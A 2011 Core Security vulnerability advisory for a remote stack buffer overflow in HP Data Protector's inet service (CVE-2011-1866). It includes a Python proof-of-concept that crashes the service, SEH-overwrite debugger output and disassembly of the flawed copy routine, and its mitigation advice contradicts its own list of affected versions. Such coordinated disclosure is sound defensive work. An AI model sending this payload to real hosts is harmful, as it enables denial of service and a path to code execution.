Core Security Technologies Advisory 2011.0606

Type packetstorm
Reporter Core Security Technologies
Modified 2011-06-30T00:00:00


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Core Security Technologies - Corelabs Advisory  
HP Data Protector EXEC_CMD Buffer Overflow Vulnerability  
1. *Advisory Information*  
Title: HP Data Protector EXEC_CMD Buffer Overflow Vulnerability  
Advisory ID: CORE-2011-0606  
Advisory URL:  
Date published: 2011-06-29  
Date of last update: 2011-06-29  
Vendors contacted: HP  
Release mode: Coordinated release  
2. *Vulnerability Information*  
Class: Remote stack overflow [CWE-120]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2011-1866  
3. *Vulnerability Description*  
HP Data Protector [1] is an automated backup and recovery software for  
single-server to enterprise environments. A vulnerability in HP Data  
Protector could allow a remote attacker to execute arbitrary code. The  
vulnerability is triggered by sending a request to port 5555 of a host  
running the "data protector inet" service, part of HP Data Protector.  
4. *Vulnerable packages*  
. HP OpenView Storage Data Protector v6.20 (running on Windows).  
. HP OpenView Storage Data Protector v6.11 (running on Windows).  
. HP OpenView Storage Data Protector v6.10 (running on Windows).  
. HP OpenView Storage Data Protector v6.00 (running on Windows).  
. Previous versions may be affected, but were not tested.  
5. *Non-vulnerable packages*  
. No fixes are available at the time of publication.  
6. *Vendor Information, Solutions and Workarounds*  
HP has issued a security bulletin with document ID c02872182 [2]  
available through HP Support Center at  
The latest version of HP Data Protector is vulnerable to this issue. HP  
has provided the following procedure to mitigate this vulnerability:  
1. Upgrade to Data Protector A.06.20 or subsequent.  
2. Enable encrypted control communication services on cell server and  
all clients in cell.  
The upgrade is available for download from then under 'Product Information' click on  
'Trials and Demos'.  
7. *Credits*  
This vulnerability was discovered and researched by Nahuel C. Riva from  
Core Security Technologies. Publication was coordinated by Carlos Sarraute.  
8. *Technical Description / Proof of Concept Code*  
The following python script can be used to reproduce the bug.  
import sys  
import socket  
from struct import pack  
ip = sys.argv[1]  
port = int(sys.argv[2]) # default tcp port 5555  
target = (ip, port)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
path = 'A' * 5000  
packet = pack('<L', 0x20003220)  
packet += pack('<L', 0x00302000)  
packet += '\x20'  
packet += pack('>H', 0x0020)  
packet += pack('<L', 0x00432000)  
packet += pack('<L', 0x00303220)  
packet += '\x20'  
packet += 'omnicheck.exe'  
packet += pack('>H', 0x0020)  
packet += pack('>H', 0x0020) * 4  
packet += pack('<L', 0x30200030)  
packet += pack('>H', 0x0020)  
packet += path  
packet += pack('>H', 0x0000)  
plen = pack('>L', len(packet))  
s.send(plen + packet)  
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By executing this script, the omniinet.exe process crashes in the  
following EIP:  
7C8285D3 8B0424 MOV EAX,DWORD PTR SS:[ESP]  
7C8285D6 8BE5 MOV ESP,EBP  
7C8285D8 5D POP EBP  
7C8285D9 C3 RETN  
- -----/  
This is part of a function inside the ntdll.dll library, however, if we  
look the SEH chain, we can see that the SEH handler was overwritten with  
the value 0x00410041 (the unicode value for "AA"):  
SEH chain of thread 00000578  
Address SE handler  
009AFF94 omniinet.00410041  
00410041 A3004472  
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The following are the values of the CPU registers at the time of the  
EAX C0000008  
ECX 009AEC98  
EDX 7C82859C ntdll.KiRaiseUserExceptionDispatcher  
EBX 0015B480  
ESP 009AEC44  
EBP 009AEC94  
ESI 00155A80  
EDI 00000000  
EIP 7C8285D3 ntdll.7C8285D3  
C 0 ES 0023 32bit 0(FFFFFFFF)  
P 1 CS 001B 32bit 0(FFFFFFFF)  
A 0 SS 0023 32bit 0(FFFFFFFF)  
Z 0 DS 0023 32bit 0(FFFFFFFF)  
S 0 FS 003B 32bit 7FFDB000(FFF)  
T 0 GS 0000 NULL  
D 0  
O 0 LastErr ERROR_SUCCESS (00000000)  
EFL 00000206 (NO,NB,NE,A,NS,PE,GE,G)  
ST0 empty 0.0  
ST1 empty 0.0  
ST2 empty 0.0  
ST3 empty 0.0  
ST4 empty 0.0  
ST5 empty 0.0  
ST6 empty 0.7610000000000000098  
ST7 empty 1.0000000000000000000  
3 2 1 0 E S P U O Z D I  
FST 4020 Cond 1 0 0 0 Err 0 0 1 0 0 0 0 0 (EQ)  
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1  
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The problem is in the 0041D170 function. This function does a blind  
copy of the string passed in the packet as a path:  
0041D170 /$ 55 PUSH EBP  
0041D171 |. 8BEC MOV EBP,ESP  
0041D173 |. 51 PUSH ECX  
0041D174 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]  
0041D177 |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX  
0041D17A |. 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8]  
0041D17D |. 0FB711 MOVZX EDX,WORD PTR DS:[ECX]  
0041D180 |. 85D2 TEST EDX,EDX  
0041D182 |. 74 73 JE SHORT omniinet.0041D1F7  
0041D1F7 |> 8B45 0C /MOV EAX,DWORD PTR SS:[EBP+C]  
0041D1FD |. 85C9 |TEST ECX,ECX  
0041D1FF |. 74 26 |JE SHORT omniinet.0041D227  
0041D201 |. 8B55 08 |MOV EDX,DWORD PTR SS:[EBP+8]  
0041D204 |. 8955 FC |MOV DWORD PTR SS:[EBP-4],EDX  
0041D207 |. 8B45 08 |MOV EAX,DWORD PTR SS:[EBP+8]  
0041D20A |. 8B4D 0C |MOV ECX,DWORD PTR SS:[EBP+C]  
0041D20D |. 66:8B11 |MOV DX,WORD PTR DS:[ECX]  
0041D210 |. 66:8910 |MOV WORD PTR DS:[EAX],DX // copy WORDs  
to the stack  
0041D213 |. 8B45 08 |MOV EAX,DWORD PTR SS:[EBP+8]  
0041D216 |. 83C0 02 |ADD EAX,2  
0041D219 |. 8945 08 |MOV DWORD PTR SS:[EBP+8],EAX  
0041D21C |. 8B4D 0C |MOV ECX,DWORD PTR SS:[EBP+C]  
0041D21F |. 83C1 02 |ADD ECX,2  
0041D222 |. 894D 0C |MOV DWORD PTR SS:[EBP+C],ECX  
0041D225 |.^EB D0 \JMP SHORT omniinet.0041D1F7  
0041D227 |> 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8]  
0041D22A |. 66:C702 0000 MOV WORD PTR DS:[EDX],0  
0041D22F |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]  
0041D232 |. 8BE5 MOV ESP,EBP  
0041D234 |. 5D POP EBP  
0041D235 \. C3 RETN  
- -----/  
9. *Report Timeline*  
. 2011-06-06:  
Core Security Technologies notifies the HP team of the vulnerabilities  
and provides the technical details. Publication date is temporarily set  
to July 5th, 2011.  
. 2011-06-06:  
Vendor confirms that a new case was assigned within HP Software Security  
Response Team (SSRT).  
. 2011-06-16:  
Core requests an update on this issue, in particular Core asks the  
vendor for a technical analysis of the bugs, a list of affected products  
and versions, and the vendor's plan for providing a fix (no reply  
. 2011-06-23:  
Core requests once more an update.  
. 2011-06-28:  
Vendor communicates that a security bulletin will be issued on the same  
day (June 28). The vendor confirms the vulnerabilities, and recommends  
as mitigation to enable encrypted communications in the cell server and  
. 2011-06-28:  
Core requests a link to the vendor's bulletin, and asks whether CVE ids  
have been assigned.  
. 2011-06-28:  
Vendor provides a link to the bulletin and CVE names for the  
. 2011-06-29:  
Advisory CORE-2011-0606 is published.  
10. *References*  
[1] HP Data Protector  
[2] HPSBMU02686 SSRT100541 rev.2 - HP OpenView Storage Data Protector,  
Remote Execution of Arbitrary Code  
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12. *About Core Security Technologies*  
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with security test and measurement solutions that continuously identify  
and demonstrate real-world exposures to their most critical assets. Our  
customers can gain real visibility into their security standing, real  
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13. *Disclaimer*  
The contents of this advisory are copyright (c) 2011 Core Security  
Technologies and (c) 2011 CoreLabs, and are licensed under a Creative  
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)  
14. *PGP/GPG Keys*  
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